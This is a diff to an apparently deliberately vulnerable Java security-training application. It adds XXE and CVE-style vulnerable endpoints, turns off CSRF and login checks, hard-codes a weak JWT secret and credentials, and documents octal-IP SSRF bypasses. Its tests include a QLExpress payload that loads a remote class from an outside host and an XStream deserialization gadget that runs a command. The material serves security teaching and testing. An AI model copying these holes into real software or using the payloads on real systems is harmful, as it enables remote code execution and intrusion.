org.slf4j.Logger; import org.slf4j.LoggerFactory; +import org.springframework.data.web.ProjectedPayload; +import org.springframework.http.HttpEntity; +import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.*; import javax.servlet.http.HttpServletRequest; @@ -27,6 +30,7 @@ import org.apache.commons.digester3.Digester; import org.jdom2.input.SAXBuilder; import org.joychou.util.WebUtils; +import org.xmlbeam.annotation.XBRead; /** * Java xxe vuln and security code. @@ -38,8 +42,8 @@ @RequestMapping("/xxe") public class XXE { - private static Logger logger = LoggerFactory.getLogger(XXE.class); - private static String EXCEPT = "xxe except"; + private static final Logger logger = LoggerFactory.getLogger(XXE.class); + private static final String EXCEPT = "xxe except"; @PostMapping("/xmlReader/vuln") public String xmlReaderVuln(HttpServletRequest request) { @@ -226,16 +230,15 @@ public String DigesterSec(HttpServletRequest request) { } - // 有回显 - @RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST) - public String DocumentBuilderVuln01(HttpServletRequest request) { + /** + * Use request.getInputStream to support UTF16 encoding. + */ + @RequestMapping(value = "/DocumentBuilder/vuln", method = RequestMethod.POST) + public String DocumentBuilderVuln(HttpServletRequest request) { try { - String body = WebUtils.getRequestBody(request); - logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); - StringReader sr = new StringReader(body); - InputSource is = new InputSource(sr); + InputSource is = new InputSource(request.getInputStream()); Document document = db.parse(is); // parse xml // 遍历xml节点name和value @@ -249,51 +252,14 @@ public String DocumentBuilderVuln01(HttpServletRequest request) { buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent())); } } - sr.close(); return buf.toString(); } catch (Exception e) { + e.printStackTrace(); logger.error(e.toString()); - return EXCEPT; - } - } - - - // 有回显 - @RequestMapping(value = "/DocumentBuilder/vuln02", method = RequestMethod.POST) - public String DocumentBuilderVuln02(HttpServletRequest request) { - try { - String body = WebUtils.getRequestBody(request); - logger.info(body); - - DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); - DocumentBuilder db = dbf.newDocumentBuilder(); - StringReader sr = new StringReader(body); - InputSource is = new InputSource(sr); - Document document = db.parse(is); // parse xml - - // 遍历xml节点name和value - StringBuilder result = new StringBuilder(); - NodeList rootNodeList = document.getChildNodes(); - for (int i = 0; i < rootNodeList.getLength(); i++) { - Node rootNode = rootNodeList.item(i); - NodeList child = rootNode.getChildNodes(); - for (int j = 0; j < child.getLength(); j++) { - Node node = child.item(j); - // 正常解析XML,需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。 - if (child.item(j).getNodeType() == Node.ELEMENT_NODE) { - result.append(String.format("%s: %s\n", node.getNodeName(), node.getFirstChild())); - } - } - } - sr.close(); - return result.toString(); - } catch (Exception e) { - logger.error(e.toString()); - return EXCEPT; + return e.toString(); } } - @RequestMapping(value = "/DocumentBuilder/Sec", method = RequestMethod.POST) public String DocumentBuilderSec(HttpServletRequest request) { try { @@ -446,7 +412,32 @@ private static void response(NodeList rootNodeList){ } } - public static void main(String[] args) { + /** + * Receiving POST requests supporting both JSON and XML. + * CVE-2018-1259 + */ + @PostMapping(value = "/xmlbeam/vuln") + HttpEntity post(@RequestBody UserPayload user) { + try { + logger.info(user.toString()); + return ResponseEntity.ok(String.format("hello, %s!", user.getUserName())); + }catch (Exception e){ + e.printStackTrace(); + return ResponseEntity.ok("error"); + } + } + + /** + * The projection interface using XPath and JSON Path expression to selectively pick elements from the payload. + */ + @ProjectedPayload + public interface UserPayload { + @XBRead("//userName") + String getUserName(); + } + + public static void main(String[] args) { + } } \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java index ec054ffd..d3107c3e 100644 --- a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java +++ b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java @@ -1,7 +1,6 @@ package org.joychou.controller.othervulns; import com.monitorjbl.xlsx.StreamingReader; -import org.apache.poi.ss.usermodel.Workbook; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; diff --git a/src/main/java/org/joychou/dao/User.java b/src/main/java/org/joychou/dao/User.java index 1336f571..0b8eb3b0 100644 --- a/src/main/java/org/joychou/dao/User.java +++ b/src/main/java/org/joychou/dao/User.java @@ -1,32 +1,11 @@ package org.joychou.dao; -import java.io.Serializable; +import lombok.Data; -public class User implements Serializable { - private static final long serialVersionUID = 1L; + +@Data +public class User { private Integer id; private String username; private String password; - - public Integer getId() { - return id; - } - public void setId(Integer id) { - this.id = id; - } - - public String getUsername() { - return username; - } - public void setUsername(String username) { - this.username = username; - } - - public String getPassword() { - return password; - } - public void setPassword(String password) { - this.password = password; - } - } diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java index 32195a27..271a4562 100644 --- a/src/main/java/org/joychou/filter/OriginFilter.java +++ b/src/main/java/org/joychou/filter/OriginFilter.java @@ -6,7 +6,6 @@ import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; - import org.joychou.security.SecurityUtil; import org.slf4j.Logger; import org.slf4j.LoggerFactory; diff --git a/src/main/java/org/joychou/impl/HttpServiceImpl.java b/src/main/java/org/joychou/impl/HttpServiceImpl.java new file mode 100644 index 00000000..d3bbf3a1 --- /dev/null +++ b/src/main/java/org/joychou/impl/HttpServiceImpl.java @@ -0,0 +1,44 @@ +package org.joychou.impl; + + +import org.joychou.service.HttpService; +import org.springframework.http.HttpEntity; +import org.springframework.http.HttpHeaders; +import org.springframework.http.ResponseEntity; +import org.springframework.stereotype.Service; +import org.springframework.web.client.RestTemplate; +import org.springframework.http.HttpMethod; + +import javax.annotation.Resource; + +@Service +public class HttpServiceImpl implements HttpService { + + @Resource + private RestTemplate restTemplate; + + @Resource + private RestTemplate restTemplateBanRedirects; + + /** + * Http request by RestTemplate. Only support HTTP protocol.

+ * Redirects: GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects.

+ * User-Agent: Java/1.8.0_102

+ */ + public String RequestHttp(String url, HttpHeaders headers) { + HttpEntity entity = new HttpEntity<>(headers); + ResponseEntity re = restTemplate.exchange(url, HttpMethod.GET, entity, String.class); + return re.getBody(); + } + + /** + * Http request by RestTemplate. Only support HTTP protocol.

+ * Redirects: Disable followRedirects.

+ * User-Agent: Java/1.8.0_102

+ */ + public String RequestHttpBanRedirects(String url, HttpHeaders headers) { + HttpEntity entity = new HttpEntity<>(headers); + ResponseEntity re = restTemplateBanRedirects.exchange(url, HttpMethod.GET, entity, String.class); + return re.getBody(); + } +} diff --git a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java index 2e1df795..4f8ad327 100644 --- a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java +++ b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java @@ -29,7 +29,7 @@ public void handle(HttpServletRequest request, HttpServletResponse response, response.setContentType(MediaType.TEXT_HTML_VALUE); // content-type: text/html response.setStatus(HttpServletResponse.SC_FORBIDDEN); // 403 forbidden - response.getWriter().write("CSRF check failed by JoyChou."); // response contents + response.getWriter().write("403 forbidden by JoyChou."); // response contents } } diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java index ee962846..fef14593 100644 --- a/src/main/java/org/joychou/security/SecurityUtil.java +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -18,7 +18,7 @@ public class SecurityUtil { private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$"); - private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class); + private final static Logger logger = LoggerFactory.getLogger(SecurityUtil.class); /** @@ -116,7 +116,6 @@ public static boolean checkSSRFByWhitehosts(String url) { /** * 解析URL的IP,判断IP是否是内网IP。如果有重定向跳转,循环解析重定向跳转的IP。不建议使用该方案。 - * * 存在的问题: * 1、会主动发起请求,可能会有性能问题 * 2、设置重定向跳转为第一次302不跳转,第二次302跳转到内网IP 即可绕过该防御方案 @@ -134,7 +133,6 @@ public static boolean checkSSRF(String url) { /** * 不能使用白名单的情况下建议使用该方案。前提是禁用重定向并且TTL默认不为0。 - * * 存在问题: * 1、TTL为0会被绕过 * 2、使用重定向可绕过 diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java index 5e8c3697..414fd24d 100644 --- a/src/main/java/org/joychou/security/WebSecurityConfig.java +++ b/src/main/java/org/joychou/security/WebSecurityConfig.java @@ -34,6 +34,11 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter { @Value("${joychou.security.csrf.exclude.url}") private String[] csrfExcludeUrl; + + @Value("${joychou.no.need.login.url}") + private String[] noNeedLoginUrl; + + @Value("${joychou.security.csrf.method}") private String[] csrfMethod = {"POST"}; @@ -62,13 +67,16 @@ protected void configure(HttpSecurity http) throws Exception { .ignoringAntMatchers(csrfExcludeUrl) // 不进行csrf校验的uri,多个uri使用逗号分隔 .csrfTokenRepository(new CookieCsrfTokenRepository()); http.exceptionHandling().accessDeniedHandler(new CsrfAccessDeniedHandler()); - // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());« + + // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()); http.cors(); // spring security login settings http.authorizeRequests() - .antMatchers("/css/**", "/js/**").permitAll() // permit static resources + .antMatchers(noNeedLoginUrl).permitAll() // no need to login page + // CVE-2022-22978漏洞代码 + .regexMatchers("/black_path.*").denyAll() // 如果正则匹配到/black_path,则forbidden .anyRequest().authenticated().and() // any request authenticated except above static resources .formLogin().loginPage("/login").permitAll() // permit all to access /login page .successHandler(new LoginSuccessHandler()) diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java index 01b1b350..c2b3896a 100644 --- a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java +++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java @@ -16,7 +16,8 @@ public class SSRFChecker { - private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class); + private static final Logger logger = LoggerFactory.getLogger(SSRFChecker.class); + private static String decimalIp; public static boolean checkURLFckSSRF(String url) { if (null == url) { @@ -125,7 +126,7 @@ public static boolean isInternalIpByUrl(String url) { * @param strIP ip字符串 * @return 如果是内网ip,返回true,否则返回false。 */ - static boolean isInternalIp(String strIP) { + public static boolean isInternalIp(String strIP) { if (StringUtils.isEmpty(strIP)) { logger.error("[-] SSRF check failed. IP is empty. " + strIP); return true; @@ -144,31 +145,151 @@ static boolean isInternalIp(String strIP) { } + /** - * host转换为IP - * 会将各种进制的ip转为正常ip - * 167772161转换为10.0.0.1 - * 127.0.0.1.xip.io转换为127.0.0.1 + * Convert host to decimal ip. + * Since there is a bypass in octal using {@link InetAddress#getHostAddress()}, + * the function of converting octal to decimal is added. + * If it still can be bypassed, please submit + * PullRequests or + * Issues.
* - * @param host 域名host + *

Normal:

+ *
    + *
  • 69299689 to 10.23.78.233
  • + *
  • 012.0x17.78.233 to 10.23.78.233
  • + *
  • 012.027.0116.0351 to 10.23.78.233
  • + *
  • 127.0.0.1.xip.io to 127.0.0.1
  • + *
  • 127.0.0.1.nip.io to 127.0.0.1
  • + *
+ + *

Bypass:

+ *
    + *
  • 01205647351 {@link InetAddress#getHostAddress()} result is 71.220.183.247, actually 10.23.78.233
  • + *
  • 012.23.78.233 {@link InetAddress#getHostAddress()} result is 12.23.78.233, actually 10.23.78.233
  • + *
  • 012.23.233 {@link InetAddress#getHostAddress()} result is 12.23.0.233, actually 10.23.0.233
  • + *
  • 012.233 {@link InetAddress#getHostAddress()} result is 12.0.0.233, actually 10.0.0.233
  • + *
+ * @return decimal ip */ - private static String host2ip(String host) { + public static String host2ip(String host) { + + if (null == host) { + return ""; + } + + // convert octal to decimal + if(isOctalIP(host)) { + host = decimalIp; + } + try { - InetAddress IpAddress = InetAddress.getByName(host); // send dns request + // send dns request + InetAddress IpAddress = InetAddress.getByName(host); return IpAddress.getHostAddress(); } catch (Exception e) { + logger.error("host2ip exception " + e.getMessage()); return ""; } } + /** - * 从URL中获取host,限制为http/https协议。只支持http:// 和 https://,不支持//的http协议。 - * - * @param url http的url + * Check whether the host is an octal IP, if so, convert it to decimal. + * @return Octal ip returns true, others return false. 012.23.78.233 return true. 012.0x17.78.233 return false. + */ + public static boolean isOctalIP(String host) { + try{ + String[] ipParts = host.split("\\."); + StringBuilder newDecimalIP = new StringBuilder(); + boolean is_octal = false; + + // Octal ip only has number and dot character. + if (isNumberOrDot(host)) { + + // not support ipv6 + if (ipParts.length > 4) { + logger.error("Illegal ipv4: " + host); + return false; + } + + // 01205647351 + if( ipParts.length == 1 && host.startsWith("0") ) { + decimalIp = Integer.valueOf(host, 8).toString(); + return true; + } + + // 012.23.78.233 + for(String ip : ipParts) { + if (!isNumber(ip)){ + logger.error("Illegal ipv4: " + host); + return false; + } + // start with "0", but not "0" + if (ip.startsWith("0") && !ip.equals("0")) { + if (Integer.valueOf(ip, 8) >= 256){ + logger.error("Illegal ipv4: " + host); + return false; + } + newDecimalIP.append(Integer.valueOf(ip, 8)).append("."); + is_octal = true; + }else{ + if (Integer.valueOf(ip, 10) >= 256) { + logger.error("Illegal ipv4: " + host); + return false; + } + newDecimalIP.append(ip).append("."); + } + } + // delete last char . + decimalIp = newDecimalIP.substring(0, newDecimalIP.lastIndexOf(".")); + } + return is_octal; + } catch (Exception e){ + logger.error("SSRFChecker isOctalIP exception: " + e.getMessage()); + return false; + } + + } + + /** + * Check string is a number. + * @return If string is a number 0-9, return true. Otherwise, return false. + */ + private static boolean isNumber(String str) { + if (null == str || "".equals(str)) { + return false; + } + for (int i = 0; i < str.length(); i++) { + char ch = str.charAt(i); + if (ch < '0' || ch > '9') { + return false; + } + } + return true; + } + + + /** + * Check string is a number or dot. + * @return If string is a number or a dot, return true. Otherwise, return false. + */ + private static boolean isNumberOrDot(String s) { + for (int i = 0; i < s.length(); i++) { + char ch = s.charAt(i); + if ((ch < '0' || ch > '9') && ch != '.'){ + return false; + } + } + return true; + } + + /** + * Get host from URL which the protocol must be http:// or https:// and not be //. */ private static String url2host(String url) { try { - // 使用URI,而非URL,防止被绕过。 + // use URI instead of URL URI u = new URI(url); if (SecurityUtil.isHttp(url)) { return u.getHost(); diff --git a/src/main/java/org/joychou/service/HttpService.java b/src/main/java/org/joychou/service/HttpService.java new file mode 100644 index 00000000..198a5311 --- /dev/null +++ b/src/main/java/org/joychou/service/HttpService.java @@ -0,0 +1,11 @@ +package org.joychou.service; + + +import org.springframework.http.HttpHeaders; + +public interface HttpService { + + String RequestHttp(String url, HttpHeaders headers); + + String RequestHttpBanRedirects(String url, HttpHeaders headers); +} diff --git a/src/main/java/org/joychou/util/CookieUtils.java b/src/main/java/org/joychou/util/CookieUtils.java new file mode 100644 index 00000000..f63b6e42 --- /dev/null +++ b/src/main/java/org/joychou/util/CookieUtils.java @@ -0,0 +1,37 @@ +package org.joychou.util; + +import lombok.extern.slf4j.Slf4j; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; + + +@Slf4j +public class CookieUtils { + + public static boolean deleteCookie(HttpServletResponse res, String cookieName) { + try { + Cookie cookie = new Cookie(cookieName, null); + cookie.setMaxAge(0); + cookie.setPath("/"); + res.addCookie(cookie); + return true; + } catch (Exception e) { + log.error(e.toString()); + return false; + } + } + + public static boolean addCookie(HttpServletResponse res, String cookieName, String cookieValue) { + try { + Cookie cookie = new Cookie(cookieName, cookieValue); + cookie.setMaxAge(1000); + cookie.setPath("/"); + res.addCookie(cookie); + return true; + } catch (Exception e) { + log.error(e.toString()); + return false; + } + } +} diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java index 4d2be1a4..c1eac95c 100644 --- a/src/main/java/org/joychou/util/HttpUtils.java +++ b/src/main/java/org/joychou/util/HttpUtils.java @@ -5,7 +5,6 @@ import org.apache.commons.httpclient.methods.GetMethod; import org.apache.commons.io.IOUtils; import org.apache.http.HttpResponse; -import org.apache.http.client.config.RequestConfig; import org.apache.http.client.fluent.Request; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.CloseableHttpClient; @@ -21,6 +20,7 @@ import javax.imageio.ImageIO; import java.io.BufferedReader; import java.io.IOException; +import java.io.InputStream; import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.URI; @@ -33,7 +33,7 @@ */ public class HttpUtils { - private static Logger logger = LoggerFactory.getLogger(HttpUtils.class); + private final static Logger logger = LoggerFactory.getLogger(HttpUtils.class); public static String commonHttpClient(String url) { @@ -94,7 +94,6 @@ public static String URLConnection(String url) { URL u = new URL(url); URLConnection urlConnection = u.openConnection(); BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request - // BufferedReader in = new BufferedReader(new InputStreamReader(u.openConnection().getInputStream())); String inputLine; StringBuilder html = new StringBuilder(); @@ -110,12 +109,19 @@ public static String URLConnection(String url) { } - public static String HTTPURLConnection(String url) { + /** + * The default setting of followRedirects is true. + * UserAgent is Java/1.8.0_102. + */ + public static String HttpURLConnection(String url) { try { URL u = new URL(url); URLConnection urlConnection = u.openConnection(); - HttpURLConnection httpUrl = (HttpURLConnection) urlConnection; - BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request + HttpURLConnection conn = (HttpURLConnection) urlConnection; +// conn.setInstanceFollowRedirects(false); +// Many HttpURLConnection methods can send http request, such as getResponseCode, getHeaderField + InputStream is = conn.getInputStream(); // send request + BufferedReader in = new BufferedReader(new InputStreamReader(is)); String inputLine; StringBuilder html = new StringBuilder(); @@ -139,7 +145,7 @@ public static String HTTPURLConnection(String url) { public static String Jsoup(String url) { try { Document doc = Jsoup.connect(url) - //.followRedirects(false) +// .followRedirects(false) .timeout(3000) .cookie("name", "joychou") // request cookies .execute().parse(); @@ -157,12 +163,19 @@ public static String Jsoup(String url) { */ public static String okhttp(String url) throws IOException { OkHttpClient client = new OkHttpClient(); - // client.setFollowRedirects(false); +// client.setFollowRedirects(false); com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build(); return client.newCall(ok_http).execute().body().string(); } + /** + * The default setting of followRedirects is true. + * + * UserAgent is Java/1.8.0_102. + * + * @param url http request url + */ public static void imageIO(String url) { try { URL u = new URL(url); @@ -206,7 +219,5 @@ public static String HttpAsyncClients(String url) { logger.error(e.getMessage()); } } - } - } diff --git a/src/main/java/org/joychou/util/JwtUtils.java b/src/main/java/org/joychou/util/JwtUtils.java new file mode 100644 index 00000000..bb33642e --- /dev/null +++ b/src/main/java/org/joychou/util/JwtUtils.java @@ -0,0 +1,104 @@ +package org.joychou.util; + +import com.auth0.jwt.JWT; +import com.auth0.jwt.JWTVerifier; +import com.auth0.jwt.algorithms.Algorithm; +import com.auth0.jwt.exceptions.JWTVerificationException; +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.Jwts; +import io.jsonwebtoken.SignatureAlgorithm; +import lombok.extern.slf4j.Slf4j; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; +import java.util.Date; + +@Slf4j +public class JwtUtils { + + private static final long EXPIRE = 1440 * 60 * 1000; // 1440 Minutes, 1 DAY + private static final String SECRET = "123456"; + private static final String B64_SECRET = Base64.getEncoder().encodeToString(SECRET.getBytes(StandardCharsets.UTF_8)); + + /** + * Generate JWT Token by jjwt (last update time: Jul 05, 2018) + * + * @author JoyChou 2022-09-20 + * @param userId userid + * @return token + */ + public static String generateTokenByJjwt(String userId) { + return Jwts.builder() + .setHeaderParam("typ", "JWT") // header + .setHeaderParam("alg", "HS256") // header + .setIssuedAt(new Date()) // token发布时间 + .setExpiration(new Date(System.currentTimeMillis() + EXPIRE)) // token过期时间 + .claim("userid", userId) + // secret在signWith会base64解码,但网上很多代码示例并没对secret做base64编码,所以在爆破key的时候可以注意下。 + .signWith(SignatureAlgorithm.HS256, B64_SECRET) + .compact(); + } + + public static String getUserIdFromJjwtToken(String token) { + try { + Claims claims = Jwts.parser().setSigningKey(B64_SECRET).parseClaimsJws(token).getBody(); + return (String)claims.get("userid"); + } catch (Exception e) { + return e.toString(); + } + } + + /** + * Generate jwt token by java-jwt. + * + * @author JoyChou 2022-09-20 + * @param nickname nickname + * @return jwt token + */ + public static String generateTokenByJavaJwt(String nickname) { + return JWT.create() + .withClaim("nickname", nickname) + .withExpiresAt(new Date(System.currentTimeMillis() + EXPIRE)) + .withIssuedAt(new Date()) + .sign(Algorithm.HMAC256(SECRET)); + } + + + /** + * Verify JWT Token + * @param token token + * @return Valid token returns true. Invalid token returns false. + */ + public static Boolean verifyTokenByJavaJwt(String token) { + try { + Algorithm algorithm = Algorithm.HMAC256(SECRET); + JWTVerifier verifier = JWT.require(algorithm).build(); + verifier.verify(token); + return true; + } catch (JWTVerificationException exception){ + log.error(exception.toString()); + return false; + } + } + + + public static String getNicknameByJavaJwt(String token) { + // If the signature is not verified, there will be security issues. + if (!verifyTokenByJavaJwt(token)) { + log.error("token is invalid"); + return null; + } + return JWT.decode(token).getClaim("nickname").asString(); + } + + + public static void main(String[] args) { + String jjwtToken = generateTokenByJjwt("10000"); + System.out.println(jjwtToken); + System.out.println(getUserIdFromJjwtToken(jjwtToken)); + + String token = generateTokenByJavaJwt("JoyChou"); + System.out.println(token); + System.out.println(getNicknameByJavaJwt(token)); + } +} diff --git a/src/main/java/org/joychou/util/WebUtils.java b/src/main/java/org/joychou/util/WebUtils.java index 4816df8e..0445f310 100644 --- a/src/main/java/org/joychou/util/WebUtils.java +++ b/src/main/java/org/joychou/util/WebUtils.java @@ -2,9 +2,7 @@ import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletRequest; -import java.io.File; -import java.io.IOException; -import java.io.InputStream; +import java.io.*; import com.google.common.base.Preconditions; import org.springframework.web.util.HtmlUtils; @@ -17,7 +15,6 @@ public static String getRequestBody(HttpServletRequest request) throws IOExcepti return convertStreamToString(in); } - // https://stackoverflow.com/questions/309424/how-do-i-read-convert-an-inputstream-into-a-string-in-java public static String convertStreamToString(java.io.InputStream is) { java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A"); diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index 6f920495..326a2b76 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -1,5 +1,5 @@ -spring.datasource.url=jdbc:mysql://localhost:3306/java_sec_code?AllowPublicKeyRetrieval=true&useSSL=false&serverTimezone=UTC +spring.datasource.url=jdbc:mysql://localhost:3306/java_sec_code?allowPublicKeyRetrieval=true&useSSL=false&serverTimezone=UTC spring.datasource.username=root spring.datasource.password=woshishujukumima spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver @@ -9,12 +9,10 @@ logging.level.org.joychou.mapper=debug # Spring Boot Actuator Config management.security.enabled=false -endpoints.enabled=false - # logging.config=classpath:logback-online.xml -# 业务的callback参数,不支持多个 +# jsonp callback parameter joychou.business.callback = callback_ @@ -28,19 +26,34 @@ joychou.security.referer.uri = /jsonp/** ### csrf configuration begins ### # csrf token check -joychou.security.csrf.enabled = true +joychou.security.csrf.enabled = false # URI without CSRF check (only support ANT url format) -joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**, /ssrf/** +joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**, /ssrf/**, /deserialize/** # method for CSRF check joychou.security.csrf.method = POST ### csrf configuration ends ### -### jsonp configuration begins ### # auto convert json to jsonp +### jsonp configuration begins ### +# auto convert json to jsonp # referer check joychou.security.jsonp.referer.check.enabled = true joychou.security.jsonp.callback = callback, _callback ### jsonp configuration ends ### # swagger -swagger.enable = true \ No newline at end of file +swagger.enable = true + + +### no need to login page begins ### +joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/**, /shiro/**, /ssrf/**, /spel/**, /qlexpress/** +### no need to login page ends ### + + + +# http header max size +#server.max-http-header-size=30000 + +# Fake aksk. Simulate actuator info leak. +jsc.accessKey.id=LTAI5tSAEPX3Z5N2Yt8ogc2y +jsc.accessKey.secret=W1Poxj09wN0Zu6dDsS0on3SIUhOhK7 \ No newline at end of file diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html index 9d27f958..7e7061be 100644 --- a/src/main/resources/templates/index.html +++ b/src/main/resources/templates/index.html @@ -5,24 +5,30 @@ Home Page -

Hello .

-

Welcome to login java-sec-code application. Application Infomation

-

- Swagger   - CmdInject   - JSONP   - Picture Upload   - File Upload   - Cors   - PathTraversal   - SqlInject   - SSRF   - RCE   - ooxml XXE   - xlsx-streamer XXE -

-

...

- logout +

Hello .

+

Welcome to login java-sec-code application. Application Infomation

+

+ Swagger   + CmdInject   + JSONP   + Picture Upload   + File Upload   + Cors   + PathTraversal   + SqlInject   + SSRF   + RCE   + ooxml XXE   + xlsx-streamer XXE + actuator env +

+ +

+ JWTCreateToken + GetUserFromJWTToken +

+

...

+logout - \ No newline at end of file + diff --git a/src/main/resources/templates/login.html b/src/main/resources/templates/login.html index 1a4c4225..d5c4ccd5 100644 --- a/src/main/resources/templates/login.html +++ b/src/main/resources/templates/login.html @@ -28,7 +28,9 @@
-

RememberMe

+

+ RememberMe +

diff --git a/src/main/test/org/test/QLExpressTest.java b/src/main/test/org/test/QLExpressTest.java new file mode 100644 index 00000000..a2071d58 --- /dev/null +++ b/src/main/test/org/test/QLExpressTest.java @@ -0,0 +1,103 @@ +package org.test; + +import com.ql.util.express.DefaultContext; +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.IExpressContext; +import com.ql.util.express.config.QLExpressRunStrategy; +import org.junit.Test; + +/** + * QLExpress security test cases. + */ +public class QLExpressTest { + + private static final String poc = "url = 'http://sb.dog:8888/'; classLoader = new java.net.URLClassLoader([new java.net.URL(url)]);classLoader.loadClass('Hello').newInstance();"; + + /** + * basic usage + */ + @Test + public void basicUsage() throws Exception{ + ExpressRunner runner = new ExpressRunner(); + IExpressContext context = new DefaultContext<>(); + context.put("a", 1); + context.put("b", 2); + Object r = runner.execute("a+b", context, null, true, false); + System.out.println(r); // print 3 + } + + /** + * Test case of /qlexpress/vuln1. Use URLClassLoader to load evil class. + */ + @Test + public void vuln1() throws Exception { + System.out.println(poc); + ExpressRunner runner = new ExpressRunner(); + IExpressContext context = new DefaultContext<>(); + Object r = runner.execute(poc, context, null, true, false); + System.out.println(r); + } + + /** + * fix method by using class and method whitelist. + */ + @Test + public void sec01() throws Exception { + System.out.println(poc); + ExpressRunner runner = new ExpressRunner(); + QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true); + QLExpressRunStrategy.addSecureMethod(String.class, "length"); + IExpressContext context = new DefaultContext<>(); + Object r1 = runner.execute("'abc'.length()", context, null, true, false); + System.out.println(r1); + Object r2 = runner.execute(poc, context, null, true, false); + System.out.println(r2); + } + + /** + *

Fix method by using class and method blacklist. It may exist bypass.

+ * + *

Default blacklist: + *

    + *
  • System.class.getName() + ".exit"
  • + *
  • ProcessBuilder.class.getName() + ".start"
  • + *
  • Method.class.getName() + ".invoke"
  • + *
  • Class.class.getName() + ".forName"
  • + *
  • ClassLoader.class.getName() + ".loadClass"
  • + *
  • ClassLoader.class.getName() + ".findClass"
  • + *
  • ClassLoader.class.getName() + ".defineClass"
  • + *
  • ClassLoader.class.getName() + ".getSystemClassLoader"
  • + *
  • javax.naming.InitialContext.lookup
  • + *
  • com.sun.rowset.JdbcRowSetImpl.setDataSourceName
  • + *
  • com.sun.rowset.JdbcRowSetImpl.setAutoCommit
  • + *
  • QLExpressRunStrategy.class.getName() + ".setForbidInvokeSecurityRiskMethods"
  • + *
  • jdk.jshell.JShell.create
  • + *
  • javax.script.ScriptEngineManager.getEngineByName
  • + *
  • org.springframework.jndi.JndiLocatorDelegate.lookup
  • + *
+ *

+ */ + @Test + public void sec02() throws Exception { + System.out.println(poc); + ExpressRunner runner = new ExpressRunner(); + QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true); + IExpressContext context = new DefaultContext<>(); + Object r = runner.execute(poc, context, null, true, false); + System.out.println(r); + } + + + /** + *

Fix method by using sandbox.

+ */ + @Test + public void sec03() throws Exception { + System.out.println(poc); + ExpressRunner runner = new ExpressRunner(); + QLExpressRunStrategy.setSandBoxMode(true); + IExpressContext context = new DefaultContext<>(); + Object r = runner.execute(poc, context, null, true, false); + System.out.println(r); + } +} diff --git a/src/main/test/org/test/XStreamTest.java b/src/main/test/org/test/XStreamTest.java new file mode 100644 index 00000000..a5375ebf --- /dev/null +++ b/src/main/test/org/test/XStreamTest.java @@ -0,0 +1,70 @@ +package org.test; + +import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.io.xml.DomDriver; +import com.thoughtworks.xstream.security.AnyTypePermission; +import org.joychou.dao.User; +import org.junit.Test; + +public class XStreamTest { + + private static final String poc_xml = "\n" + + " foo\n" + + " \n" + + " java.lang.Comparable\n" + + " \n" + + " \n" + + " \n" + + " Open\n" + + " -a\n" + + " Calculator\n" + + " \n" + + " \n" + + " start\n" + + " \n" + + " \n" + + ""; + + + /** + * XStream basic usage. + */ + @Test + public void basicUsage() { + User user = new User(); + user.setId(0); + user.setUsername("admin"); + + XStream xstream = new XStream(new DomDriver()); + String xml = xstream.toXML(user); // Serialize + System.out.println(xml); + + // High version xstream needs set allowTypes + xstream.allowTypes(new Class[]{User.class}); + user = (User) 